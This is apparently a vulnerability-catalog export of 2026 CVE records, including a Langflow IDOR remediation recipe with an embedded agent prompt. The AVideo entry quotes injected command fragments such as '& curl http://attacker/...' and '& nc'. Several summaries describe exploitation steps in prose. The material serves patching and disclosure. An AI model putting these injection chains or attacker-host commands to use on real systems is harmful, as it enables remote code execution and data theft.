summary: WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not.


product: spinnaker

vendor: spinnaker

description: CVE-2026-55175 is Spinnaker no GitHub advisory floor. GitHub lists no advisory for this CVE. Do not invent a GHSA ID or copy leftover version text.

title: CVE-2026-55175: Spinnaker, No Named Floor

vendor: linuxfoundation

summary: Spinnaker is an open source, multi-cloud continuous delivery platform. Prior to versions 2026.1.1, 2026.0.3, 2025.4.4, and 2025.3.4 on their respective release lines, Kustomize bake operations allow unsafe YAML tag processing in rosco manifests. This can lead to remote code execution on rosco pods when performing Kustomize bakes. This issue is fixed in versions 2026.1.1, 2026.0.3, 2025.4.4, and 2025.3.4.


product: pnpm

vendor: pnpm

summary: pnpm is a package manager. Prior to 10.34.2 and 11.5.3, pnpm and pacquet expanded ${ENV_VAR} placeholders from repository-controlled .npmrc and pnpm-workspace.yaml into registry request destinations and registry credentials. A malicious repository could cause dependency resolution to send victim environment secrets to an attacker-selected registry before lifecycle scripts run. This vulnerability is fixed in 10.34.2 and 11.5.3.

title: pnpm is a package manager


vendor: miniflux

summary: Miniflux 2 is an open source feed reader. Prior to 2.3.1, IsRelativePath in internal/urllib/url.go accepts redirect targets containing backslashes because Go URL parsing treats them as path characters. Browser backslash normalization converts them to forward slashes. An unauthenticated attacker can provide such a redirect_url value to the login flow, bypass the relative-path and host checks, and redirect a victim to an attacker-controlled external site. This issue is fixed in version 2.3.1.


product: mailpit

vendor: axllent

summary: Mailpit is an email testing tool and API for developers. Prior to 1.30.2, the remediation shipped for CVE-2026-27808 is incomplete because the tools.IsInternalIP deny-list in internal/tools/net.go relies on Go's standard library classification helpers and does not block IPv6 transition mechanisms or prefixes such as NAT64, 6to4, IPv4-compatible IPv6, ISATAP, fec0::/10, and 2001:db8::/32. An attacker who can deliver email and invoke POST /api/v1/message/{ID}/link-check can coerce the Link Check API's safeDialContext path into dialing internal destinations and can use status-code and error feedback to map internal service reachability, including cloud metadata endpoints. This issue is fixed in version 1.30.2.


product: rustfs

vendor: rustfs

summary: RustFS is a distributed object storage system built in Rust. From 1.0.0-alpha.1 until 1.0.0-beta.9, RustFS contains an authorization bypass in the bucket replication admin API. The ListRemoteTargetHandler handler for listing remote replication targets only checks whether request credentials exist, but does not verify that the caller has replication or administrator permissions. As a result, an authenticated user with no effective bucket or admin permissions can list remote replication target configuration for a bucket. Because the returned BucketTarget objects include remote target credentials, this can disclose replication access keys and secret keys. This vulnerability is fixed in 1.0.0-beta.9.


description: CVE-2026-55189 is RustFS leftover. Live GHAD is 404. Repo first_patched is null. NVD/vendor names 1.0.0-beta.9.

title: CVE-2026-55189: RustFS leftover dump, live GHAD 404

summary: RustFS is a distributed object storage system built in Rust. From 1.0.0-alpha.1 until 1.0.0-beta.9, when the FTP frontend is enabled, the FTP read and probe handlers dispatch directly to the storage backend without ever calling the IAM authorization function that the FTP write/list handlers (and the entire HTTP S3 path) use. As a result, any user who can authenticate to the FTP listener — including a user whose IAM policy contains an explicit Deny on s3:GetObject — can read (RETR) and stat (SIZE/MDTM) any object in any bucket, and probe any bucket (CWD), completely regardless of their IAM policy. This vulnerability is fixed in 1.0.0-beta.9.


product: FreeRDP

vendor: FreeRDP

summary: FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.27.0, FreeRDP clients that negotiate RDPGFX AVC444 with an H.264 decoder backend calculate the intermediate YUV444 allocation size in libfreerdp/codec/h264.c with 32-bit multiplication in avc444_ensure_buffer. A malicious RDP server can supply surface dimensions for which piDstStride multiplied by padDstHeight wraps to a small nonzero value, causing winpr_aligned_recalloc to allocate an undersized buffer before YUV420CombineToYUV444 writes using the actual stride and rectangle dimensions. This can cause a client crash and may permit code execution through attacker-influenced heap corruption. This issue is fixed in version 3.27.0.


summary: FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.27.0, FreeRDP H.264 decoder backends can return YUV planes sized from the bitstream without comparing the decoded width and height to the RDPGFX surface dimensions used to validate region rectangles. A malicious RDP server can provide an AVC420 or AVC444 bitstream whose decoded frame is smaller than the negotiated surface, causing yuv420_context_decode and the YUV-to-RGB conversion paths to read beyond the decoder-owned planes in libfreerdp/codec/h264.c and the selected H.264 backend. This can disclose client memory or crash the client. This issue is fixed in version 3.27.0.


summary: FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.27.0, FreeRDP clients using TS Gateway accept a server-controlled max_xmit_frag value in libfreerdp/core/gateway/rpc_bind.c without bounding it to the 4088-byte ReceiveFragment allocation. A malicious gateway can advertise 65535 and then send a response fragment of the same length, causing rpc_channel_read in libfreerdp/core/gateway/rpc.c to write up to 65535 bytes into the smaller ReceiveFragment buffer. This can crash the client and may permit code execution through attacker-controlled heap corruption. This issue is fixed in version 3.27.0.


summary: FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.27.0, rpc_client_recv_fragment in libfreerdp/core/gateway/rpc_client.c ensures the response reassembly stream capacity using only the server-declared alloc_hint rather than the actual StubLength about to be written. A malicious TS Gateway can send a PTYPE_RESPONSE with a small alloc_hint and a much larger frag_length, causing Stream_Write to copy attacker-controlled stub data beyond the 4096-byte pdu->s buffer. This can crash the client and may permit code execution through heap corruption. This issue is fixed in version 3.27.0.


vendor: miurahr

ecosystem: python/pypi

description: CVE-2026-55195 is a py7zr decompression bomb from unchecked extract size. Upgrade py7zr to 1.1.3+. Do not invent 1.1.4.

title: CVE-2026-55195: py7zr Decompression Bomb

summary: py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.


product: hermes-webui

vendor: hermes-webui

status: unaffected

summary: Hermes WebUI before 0.51.409 contains an authentication bypass vulnerability in passkey registration endpoints that allows unauthenticated remote attackers to register arbitrary passkeys. When HERMES_WEBUI_PASSKEY=1 is enabled with no existing credentials, POST /api/auth/passkey/register/options and POST /api/auth/passkey/register endpoints are accessible without authentication, allowing attackers to claim the first passkey and gain permanent administrative control.

title: Hermes-Webui security vulnerability


vendor: nesquena

summary: Hermes WebUI before 0.51.443 contains a broken access control vulnerability in the /api/session endpoint that allows authenticated users to disclose cross-profile session transcripts. Attackers can bypass profile boundary checks by directly querying session IDs belonging to other profiles via GET /api/session?session_id=<foreign_id>&messages=1 to retrieve unauthorized conversation transcripts and metadata.

title: Nesquena Hermes-Webui security vulnerability


summary: Hermes WebUI before 0.51.443 contains an authorization bypass vulnerability in the session export endpoint that allows authenticated users to access sessions from other profiles. The _handle_session_export handler in api/routes.py fails to verify active-profile ownership before serializing session data, enabling attackers to exfiltrate foreign session transcripts by guessing or knowing session identifiers.


version_type: git

summary: libssh2 through 1.11.1, fixed in commit 1762685, contains a pre-authentication denial of service vulnerability in the SSH_MSG_EXT_INFO handler in src/packet.c that allows a malicious SSH server to cause a client CPU exhaustion loop by sending a crafted extension count value. A malicious server can set nr_extensions to 0xFFFFFFFF during key exchange, causing the client to spin in a tight CPU loop for over 60 seconds because return values from _libssh2_get_string() are unchecked and the session timeout does not apply to CPU-bound loops.

title: Libssh2 security vulnerability


description: CVE-2026-55200 is libssh2 leftover. GHAD vulnerabilities empty. NVD last-affects 1.11.1 and names commit 7acf3df. Do not invent 1.11.2.

title: CVE-2026-55200: libssh2 leftover dump, GHAD vulnerabilities empty

summary: libssh2 through 1.11.1, fixed in commit 7acf3df contains an out-of-bounds write vulnerability in ssh2_transport_read() that fails to enforce upper bounds on packet_length field. Remote attackers can send crafted SSH packets with excessively large packet_length values to corrupt heap memory and achieve remote code execution.

title: Libssh2 security vulnerability


product: evil-winrm

vendor: Hackplayers

summary: Evil-WinRM through 3.9, fixed in commit 6ecd570, contains a path traversal vulnerability in the download_dir() function that allows a rogue or compromised remote Windows server to write files outside the intended download directory by returning filenames with traversal sequences from Get-ChildItem command output that are passed unsanitized to File.join(). Attackers controlling the remote server can exploit this to overwrite sensitive client-side files such as SSH authorized_keys or shell configuration files, achieving persistent access or privilege escalation on the client machine.

title: Hackplayers Evil-Winrm security vulnerability


product: tinyproxy

vendor: tinyproxy

summary: Tinyproxy through 1.11.3, fixed in commit 09312a1, fails to properly validate the Host header during stathost detection, allowing unauthenticated attackers to access the stats page by injecting a matching Host header or bypass detection via port manipulation. Remote attackers can trigger unauthorized access to internal proxy statistics or misroute requests as transparent proxy connections to circumvent access controls.

title: Tinyproxy security vulnerability


product: haproxy

vendor: haproxy

description: CVE-2026-55203 is HAProxy leftover. GHAD vulnerabilities empty. NVD last-affects 3.4.0 and names commit 5985276. Do not invent 3.4.1.

title: CVE-2026-55203: HAProxy leftover dump, GHAD vulnerabilities empty

summary: HAProxy through 3.4.0, fixed in commit 5985276, contains an integer overflow vulnerability in the fcgi_conn structure's drl field that allows buffer misparse as new FCGI record headers. When contentLength is 65535 and paddingLength is 1 or more, the drl field wraps to 0, causing incorrect record consumption and allowing malicious FastCGI backends to desynchronize the FCGI framing parser, potentially causing request routing errors, response smuggling, or memory safety issues.

title: Haproxy security vulnerability


summary: HAProxy through 3.4.0, fixed in commit 9a6d1fe, contains a null pointer dereference vulnerability in hpack_dht_insert() within src/hpack-tbl.c that fails to validate the return value of hpack_dht_defrag() when the memory pool is exhausted. An attacker can trigger HPACK dynamic table insertions under memory pressure to dereference a NULL pointer and crash HAProxy worker processes, causing denial of service.

title: Haproxy security vulnerability


summary: Hermes WebUI before 0.51.468 contains a resource exhaustion vulnerability in the unauthenticated POST /api/onboarding/oauth/start endpoint that allows unbounded accumulation of in-memory flow state and daemon threads. Attackers can send repeated or concurrent requests to exhaust server memory and thread resources, potentially triggering repeated outbound device-code requests to upstream OAuth providers.


description: CVE-2026-55206 is quadratic DoS in py7zr PackInfo._read(). Upgrade py7zr to 1.1.3+. Do not invent 1.1.4.

title: CVE-2026-55206: py7zr PackInfo Complexity

summary: py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, PackInfo._read() in archiveinfo.py used an O(n^2) cumulative sum pattern for attacker-controlled numstreams values parsed from archive headers, allowing a crafted .7z archive to cause excessive CPU consumption during SevenZipFile.init() before extraction. This issue is fixed in version 1.1.3.


product: pimcore

vendor: pimcore

description: CVE-2026-55207 is a Pimcore issue. GitHub lists no advisory for this CVE. Do not invent a GHSA ID or copy leftover 2026.1.6 text.

title: CVE-2026-55207: Pimcore, No Named Floor

summary: Pimcore is an Open Source Data & Experience Management Platform. Prior to 2025.4.6 and 2026.1.6, an unauthenticated attacker who knows a valid admin username can take over any Pimcore admin account by sending a password reset request with an attacker-controlled resetPasswordUrl. The server generates a real cryptographic recovery token, appends it to the supplied URL, and emails the link to the victim; when the victim clicks the link, the token is sent to the attacker and can be used with POST /pimcore-studio/api/login/token to authenticate with full admin privileges while bypassing two-factor authentication. This issue is fixed in versions 2025.4.6 and 2026.1.6.


description: CVE-2026-55208 is a Pimcore Studio Backend issue. GitHub lists no advisory for this CVE. Do not invent a GHSA ID or copy leftover 2026.1.6 text.

title: CVE-2026-55208: Pimcore Studio, No Named Floor

summary: Pimcore Studio Backend Bundle is the backend bundle for Pimcore Studio. Prior to 2025.4.6 and 2026.1.6, an authenticated user can extract the admin password hash and other database content through time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint and other listing endpoints accept a columnFilters array where the key field is interpolated directly into SQL with manual backtick wrapping, allowing a backtick character to break out of quoting and append arbitrary SQL such as SLEEP() and IF() subqueries. This issue is fixed in versions 2025.4.6 and 2026.1.6.


description: CVE-2026-55212 is a Pimcore issue. GitHub lists no advisory for this CVE. Do not invent a GHSA ID or copy leftover 2026.1.6 text.

title: CVE-2026-55212: Pimcore, No Named Floor

summary: Pimcore is an Open Source Data & Experience Management Platform. Prior to 2025.4.6 and 2026.1.6, the Studio API class definition creation endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is guarded by the objects permission instead of the classes permission, allowing a standard editor-level user to create class definitions without admin privileges. Class definition creation generates new database tables and PHP class files on the server, and missing API-layer UID format validation allows malformed UIDs to reach model-layer validation and return internal exceptions. This issue is fixed in versions 2025.4.6 and 2026.1.6.


description: CVE-2026-55213 is h2o no GitHub advisory floor. GitHub lists no advisory for this CVE. Do not invent a GHSA ID or copy leftover version text.

title: CVE-2026-55213: h2o, No Named Floor

summary: h2o is an HTTP server with support for HTTP/1.x, HTTP/2 and HTTP/3. Prior to commit edd7a120bfc4af11ac0cbebce2a43cc1f93f9af1, when h2o processes a QPACK instruction sent from the peer over HTTP/3, lib/http3/qpack.c might allocate an on-stack buffer as large as approximately 800 KB by calling alloca, which exceeds the default pthread stack size used by musl libc and causes the h2o server to crash with a segmentation fault while touching the guard page. This issue is fixed in commit edd7a120bfc4af11ac0cbebce2a43cc1f93f9af1.


product: Paymenter

vendor: Paymenter

summary: Paymenter is a free and open-source webshop solution for management of hosting services. In versions prior to 1.5.5, the credit payment implementation in app/Livewire/Invoices/Show.php executes a pessimistic row lock (lockForUpdate()) outside of an active database transaction. Because MySQL/MariaDB requires an enclosing transaction to enforce row-level locks, the guard is ineffective. Concurrent payment requests can exploit this race condition to read the same credit balance simultaneously, allowing users to pay multiple invoices using the same credit balance. In database systems like MySQL, a row lock only works inside a formal transaction; without one, the lock is completely ignored. Because there is no active lock, two payment requests sent at the exact same millisecond can look at the database at the same time. Both requests see the original credit balance, decide it is sufficient, and approve the payment. Because the payment processes successfully through ExtensionHelper::addPayment(), the application provisions the corresponding services or digital goods, resulting in direct financial or resource loss to the platform. This issue has been fixed in version 1.5.5.


vendor: swaldman

summary: c3p0 is a JDBC Connection pooling library. In versions prior to 0.14.0, c3p0 in combination with other libraries, can compose to a "sink" for deserialization gadgets. The JDBC spec's DataSource.getConnection() and ConnectionPoolDataSource.getPooledConnection() match the getXXX() form, so JavaBean libraries treat them as "properties" assumed safe while they actually call into JDBC drivers. Attackers can thus craft malicious DataSource objects whose property lookups invoke vulnerable drivers, then smuggle them in serialized form to where an application deserializes and auto-resolves bean properties — triggering the attack. This requires a susceptible DataSource/ConnectionPoolDataSource and JDBC driver on the CLASSPATH, plus a carrier that auto-looks-up JavaBean properties on = deserialization, most commonly a collection paired with an Apache commons-beanutils Comparator that sorts by bean properties. c3p0 supplied that susceptible DataSource/ConnectionPoolDataSource, which was an essential component of the trigger. This issue has been fixed in version 0.14.0.


product: gotenberg

vendor: gotenberg

description: CVE-2026-55229 is SSRF through Gotenberg LibreOffice document processing. Upgrade gotenberg to 8.34.0+. Do not invent 8.34.1.

title: CVE-2026-55229: Gotenberg LibreOffice SSRF

summary: Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.34.0, Gotenberg's /forms/libreoffice/convert endpoint allows a specially crafted document to cause LibreOffice to automatically retrieve external HTTP(S) resources and local file resources during document conversion, enabling blind SSRF and limited local file disclosure via linked image resource loading. This issue is fixed in version 8.34.0.


product: openresty

vendor: openresty

description: CVE-2026-55233 is OpenResty no GitHub advisory floor. GitHub lists no advisory for this CVE. Do not invent a GHSA ID or copy leftover version text.

title: CVE-2026-55233: OpenResty, No Named Floor

summary: OpenResty is a high performance web platform. From 1.29.2.1 to before 1.29.2.5, an out-of-bounds write vulnerability exists in the upstream PROXY protocol v2 implementation. When OpenResty is configured to send PROXY protocol version 2 headers to upstream servers, constructing the header in the stream proxy protocol v2 patch can write beyond the bounds of the allocated buffer, causing the worker process to crash and resulting in a denial of service. Only configurations that explicitly enable PROXY protocol v2 for upstream connections are impacted. This issue is fixed in version 1.29.2.5.


product: wekan

vendor: wekan

summary: Wekan is open source kanban built with Meteor. Prior to 9.37, Wekan DDP update allow rules in server/permissions/cards.js, server/permissions/lists.js, and server/permissions/swimlanes.js authorize against the stored source boardId and do not validate a new boardId in the update modifier. Any authenticated user with write access to their own board can call /cards/update, /lists/update, or /swimlanes/update to move cards, lists, or swimlanes into a private board they are not a member of. This issue is fixed in version 9.37.


product: AutoGPT

vendor: Significant-Gravitas

summary: AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. Versions prior to 0.6.62 have a DOM-based Cross-Site Scripting (XSS) vulnerability in AutoGPT's signup page. The application improperly trusts a URL parameter (`next`), which is passed to `router.push`. An attacker can craft a malicious link that, when opened by an authenticated user, performs a client-side redirect and executes arbitrary JavaScript in the context of their browser. This could lead to credential theft, internal network pivoting, and unauthorized actions performed on behalf of the victim. Version 0.6.62 patches the issue.


product: xrdp

vendor: neutrinolabs

summary: xrdp is an open source RDP server. Versions 0.10.6 and prior contain a vulnerability concerning the processing of RDP Confirm Active PDU, where during the capability negotiation phase, the parser did not perform sufficient length validation for specific capability sets. A remote, unauthenticated attacker could potentially exploit this flaw by sending a specially crafted RDP packet containing malformed capability data. Due to missing bounds checks, the xrdp process may perform out-of-bounds memory reads, which can result in the termination of the service (Denial of Service). However, since xrdp forks a new process for each connection by default, an out-of-bounds read causing a process crash is unlikely to bring down the entire xrdp service. This issue has been fixed in version 0.10.6.1.

title: xrdp is an open source RDP server


product: Checkmate

vendor: bluewave-labs

summary: Checkmate is an open-source, self-hosted tool designed to track and monitor server hardware, uptime, response times, and incidents in real-time with beautiful visualizations. Prior to 3.9.1, the public POST /api/v1/auth/register route in server/src/api/routes/authRoutes.ts passes multipart profileImage uploads through in-memory Multer parsing before registration validation, without file-size, file-count, or MIME-type limits in server/src/api/middleware/upload.ts. An unauthenticated attacker can submit concurrent oversized files that are buffered before invalid registration or invite-token checks reject the request, exhausting memory and crashing or destabilizing the backend. This issue is fixed in version 3.9.1.

title: Bluewave-Labs Checkmate security vulnerability


product: erpnext

vendor: frappe

summary: ERPNext is a free and open source Enterprise Resource Planning tool. Prior to 15.111.0 and 16.22.0, an authenticated user with a standard operational role can trigger server-side template injection through a configuration field, resulting in unauthorized disclosure of data outside the user's normal permission scope. This issue is fixed in versions 15.111.0 and 16.22.0.


product: rtk

vendor: rtk-ai

product: rtk-rewrite

vendor: rtkai

summary: @rtk-ai/rtk-rewrite transparently rewrites shell commands executed via OpenClaw's exec tool to their RTK equivalents. In 1.0.0, the @rtk-ai/rtk-rewrite OpenClaw plugin passes attacker-controlled input directly into a shell-backed execSync() template string without shell-safe escaping. JSON.stringify() wraps the value in double quotes and escapes inner double-quotes and backslashes, but leaves $() and backtick shell metacharacters untouched. Because execSync delegates execution to /bin/sh -c, the shell expands $(...) substitutions even inside double-quoted strings, causing the injected subcommand to execute before rtk is invoked. An attacker who can influence the exec tool's command parameter (e.g., via an LLM agent prompt or gateway/tool-call input) achieves arbitrary OS command execution with the privileges of the plugin/gateway process.


product: ncalc

vendor: ncalc

summary: NCalc is a fast, lightweight expression evaluator for .NET. Prior to 6.1.1, the factorial operator implementation in src/NCalc.Core/Helpers/MathHelper.cs permits specially crafted expressions with extremely large factorial operands, causing excessive CPU consumption or a non-terminating loop due to integer overflow in the factorial calculation logic when applications evaluate untrusted expressions. This issue is fixed in version 6.1.1.


product: langflow

vendor: langflow-ai

notes: https://github.com/langflow-ai/langflow/security/advisories/GHSA-qrpv-q767-xqq2 ; BOD 26-04: https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk ; Forensics Triage Requirements: https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk ; https://nvd.nist.gov/vuln/detail/CVE-2026-55255

product: Langflow

vendor_project: Langflow

vulnerability_name: Langflow Authorization Bypass Through User-Controlled Key Vulnerability

content_markdown:
Langflow versions before `1.9.1` resolve a flow by UUID in
`get_flow_by_id_or_endpoint_name` without checking that the authenticated
caller owns that flow. The `/api/v1/responses` path (and related workflow
lookups that share the helper) can then execute another user's flow when
the caller supplies that flow's identifier.
[GHSA-qrpv-q767-xqq2](https://github.com/langflow-ai/langflow/security/advisories/GHSA-qrpv-q767-xqq2)
is **high** (CVSS 8.4) and names **langflow < 1.9.1 -> 1.9.1**. NVD CPE
excludes **1.9.1**. This catalog record stores **high**. Do not invent a
Critical 9.9 GHAD score.

The vendor fix landed in PR
[#12832](https://github.com/langflow-ai/langflow/pull/12832) and is
released in Langflow `1.9.1`. Cross-user lookups now fail closed with
`404` rather than a `403` that would confirm the flow exists. CISA added
CVE-2026-55255 to the Known Exploited Vulnerabilities catalog on
**2026-07-07** (required action due **2026-07-10**).

This floor is not the last word for a Langflow fleet.
[CVE-2026-9198]({{< relref "/recipes/cve/cve-2026-9198-langflow-auto-login-validate-code-rce" >}})
requires Langflow OSS `1.10.1+`. OSV/PYSEC-2026-221 records the fixed
event as `1.9.2` and still lists `1.9.1`; if a scanner flags `1.9.1`, take
`1.9.2` or the later KEV floor. Do not prove exposure by executing another
user's flow or submitting a victim flow identifier.

## When to use it

- A repository deploys, builds, pins, vendors, or documents Langflow
  before `1.9.1`.
- Langflow is a multi-user, shared, or network-exposed workbench where
  more than one principal can obtain an API key or session.
- You already applied CVE-2025-3248 (`1.3.0+`) and still need the
  ownership check on flow lookup.
- You need a bounded PR that upgrades Langflow, proves cross-user flow
  lookup is denied, and documents later KEV floors.

## Inputs

- Python dependency files, lockfiles, Dockerfiles, compose/Helm/K8s/Terraform
  manifests, gateway/proxy config, environment templates, SBOMs, and runbooks.
- Langflow version evidence, multi-user vs single-user deployment, API-key
  and session ownership, `/api/v1/responses` and `/api/v1/run*` route
  ownership, ingress exposure, logs, and credential rotation owners.
- Available dependency install, authorization tests, container build,
  deployment render, SBOM, and dependency/security scan commands.

## Affected versions

- **Vulnerable:** GHAD langflow `< 1.9.1`. NVD CPE excludes **1.9.1**.
- **Fixed:** GHAD/NVD first_patched **1.9.1**.
- **Conservative scanner floor:** `1.9.2+` when OSV/PYSEC-2026-221 still
  lists `1.9.1` as affected.
- **Fleet floor after later KEVs:** Langflow OSS `1.10.1+` for
  CVE-2026-9198.
- **Affected helper:** `get_flow_by_id_or_endpoint_name` UUID lookup used
  by `/api/v1/responses` and related workflow routes.
- **Weakness:** CWE-639 authorization bypass through a user-controlled key
  (IDOR).
- **CISA KEV:** yes; added 2026-07-07 with required action due 2026-07-10.

## Indicator-of-exposure

- The repository deploys, builds, vendors, pins, or documents Langflow
  `<1.9.1`.
- More than one user, service account, or API key can reach the same
  Langflow API.
- `/api/v1/responses` or `/api/v1/run*` is reachable on a shared
  workbench, ingress, tunnel, or hosted notebook.
- Flow identifiers are visible in URLs, logs, analytics, or shared docs.

Quick checks:

```bash
rg -n "langflow|LANGFLOW|/api/v1/responses|get_flow_by_id_or_endpoint_name" .
python -m pip show langflow
python -m pip freeze | rg -i "^langflow=="
docker images | rg -i "langflow"
```

Windows:

```powershell
rg -n "langflow|LANGFLOW|/api/v1/responses|get_flow_by_id_or_endpoint_name" .
python -m pip show langflow
python -m pip freeze | rg -i "^langflow=="
docker images | rg -i "langflow"
```

Do not call `/api/v1/responses` with another user's flow identifier,
execute a victim flow, or dump flow secrets.

## Remediation strategy

- Upgrade every controlled Langflow dependency, lockfile, image, Helm
  chart, compose service, deployment manifest, SBOM, and runbook to at
  least `langflow 1.9.1+`. Prefer `1.9.2+` if scanners still flag
  `1.9.1`, and `1.10.1+` when CVE-2026-9198 is also in scope.
- Until rollout is complete, restrict Langflow API access to a single
  trusted principal or deny `/api/v1/responses` and `/api/v1/run*` at the
  gateway for shared deployments.
- Confirm patched builds enforce owner-scoped flow lookup and return
  `404` for cross-user UUID access.
- Review flow-execution logs for unexpected `/api/v1/responses` activity.
  Rotate Langflow, model provider, database, package, cloud, and workflow
  credentials when another principal could have executed a flow.

## The prompt

~~~markdown
Model context: this prompt was generated by GPT 5.5 Extra High reasoning.

You are remediating CVE-2026-55255, a Langflow insecure direct object
reference in flow lookup used by `/api/v1/responses`. Produce exactly
one output:

- A reviewer-ready PR/change request that upgrades Langflow to 1.9.1+
  (1.9.2+ if scanners still flag 1.9.1; 1.10.1+ when CVE-2026-9198 is
  also in scope), adds safe ownership regression coverage, and documents
  operator cleanup, or
- TRIAGE.md if this repository does not own an affected Langflow runtime.

## Rules

- Scope only CVE-2026-55255 and directly related Langflow flow-lookup,
  ownership, ingress, isolation, and credential cleanup.
- A prior upgrade to 1.3.0 for CVE-2025-3248 is not a complete fix.
- Treat flows, component code, tokens, provider keys, and logs as sensitive.
- Do not prove exposure by submitting another user's flow identifier,
  executing a victim flow, or dumping environment variables.
- Do not auto-merge.

## Steps

1. Inventory every Langflow runtime this repository controls.
2. A target is vulnerable if it resolves to Langflow before `1.9.1`.
3. If Langflow is not owned here, stop with `TRIAGE.md` listing files
   checked, owner if known, observed version, and required `1.9.1+`.
4. Upgrade every controlled Langflow package and image to `1.9.1+`.
   Use `1.9.2+` when OSV still lists `1.9.1`. Use `1.10.1+` when
   CVE-2026-9198 is also required. Regenerate lockfiles, image digests,
   SBOMs, and docs as usual.
5. Restrict shared API access until every runtime is patched.
6. Add safe tests:
   - dependency policy rejects `langflow < 1.9.1`;
   - an authenticated caller cannot resolve another user's flow by UUID;
   - unauthorized lookup returns 404 without disclosing flow existence;
   - tests never execute another user's flow or log bearer tokens.
7. Add a PR body section named `CVE-2026-55255 operator actions` that
   states versions before and after, whether `/api/v1/responses` was
   reachable by more than one principal, whether later Langflow KEVs
   raise the floor, which credentials to rotate, and any temporary
   edge block.
8. Use PR title:
   `fix(sec): remediate CVE-2026-55255 in Langflow`.

## Stop conditions

- No affected Langflow runtime is controlled by this repository.
- A fixed Langflow version cannot be consumed and shared API access
  cannot be restricted.
- Meaningful verification would require executing another user's flow
  or exposing secrets.
- Validation fails for unrelated pre-existing reasons; document those
  failures instead of broadening scope.
~~~

## Rollback

Do not restore Langflow before `1.9.1` to a reachable multi-user
deployment. If the patched build must be withdrawn, keep
`/api/v1/responses` and `/api/v1/run*` denied for untrusted principals
or stop the shared service until another fixed release is installed.

## Verification

- No controlled dependency, image, SBOM, or runbook resolves Langflow
  `<1.9.1`.
- Cross-user flow lookup by UUID is denied with `404` and does not
  execute the target flow.
- Gateway or network containment is present when rollout is not atomic.
- Tests never submit a victim flow identifier or execute another user's
  flow.
- Operator notes cover GHSA-qrpv-q767-xqq2, the OSV `1.9.2` discrepancy,
  KEV dates, later Langflow KEV floors, log review, and credential
  rotation.

## Output contract

- Reviewer-ready PR upgrading Langflow to `1.9.1+` (or the higher
  scanner/KEV floor in scope) and restricting shared API access during
  rollout.
- `TRIAGE.md` when Langflow ownership is outside this repository.

## Watch for

- Stopping at Langflow `1.3.0` after CVE-2025-3248 and leaving `1.3.x`–
  `1.9.0` in production.
- Treating GHSA `1.9.1` as the fleet floor while CVE-2026-9198 still
  requires `1.10.1`.
- Testing with another user's flow identifier or live provider keys.
- Updating one requirements file while an image or Helm chart still runs
  `<1.9.1`.

## Related recipes

- [CVE-2025-3248 Langflow validate/code]({{< relref "/recipes/cve/cve-2025-3248-langflow-validate-code-rce" >}})
- [CVE-2026-9198 Langflow auto-login RCE]({{< relref "/recipes/cve/cve-2026-9198-langflow-auto-login-validate-code-rce" >}})
- [Search the CVE Database for CVE-2026-55255](/cve-database/?q=CVE-2026-55255#cve-catalog)
- [CVE intelligence intake gate]({{< relref "/recipes/general/cve-intelligence-intake-gate" >}})

## References

- Langflow advisory: <https://github.com/langflow-ai/langflow/security/advisories/GHSA-qrpv-q767-xqq2>
- Fix PR: <https://github.com/langflow-ai/langflow/pull/12832>
- NVD: <https://nvd.nist.gov/vuln/detail/CVE-2026-55255>
- CISA KEV catalog entry: <https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-55255>
- CISA KEV add notice: <https://www.cisa.gov/news-events/alerts/2026/07/07/cisa-adds-three-known-exploited-vulnerabilities-catalog>
- CVE record: <https://www.cve.org/CVERecord?id=CVE-2026-55255>

description: CVE-2026-55255 is Langflow IDOR. GHAD first_patched is 1.9.1. NVD excludes 1.9.1. Treat later Langflow KEVs as a higher fleet floor.

maturity: stable

title: CVE-2026-55255: Langflow Flow-Ownership IDOR Remediation

vendor: langflow

quality: curated

recipe_kind: markdown-override

summary: Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.1, an Insecure Direct Object Reference (IDOR) vulnerability in /api/v1/responses endpoint allows an authenticated attacker to execute any flow belonging to another user by specifying the victim's flow ID in the request. This vulnerability is fixed in 1.9.1.


product: Apache Tomcat

vendor: Apache Software Foundation

description: CVE-2026-55276 is Tomcat effective-web.xml role leftover. Apache names 11.0.23, 10.1.56, and 9.0.119. Leftover named only 11.0.23. 8.5 has no named floor.

title: CVE-2026-55276: Tomcat leftover dump, Apache floors 11.0.23 / 10.1.56 / 9.0.119

product: tomcat

vendor: apache

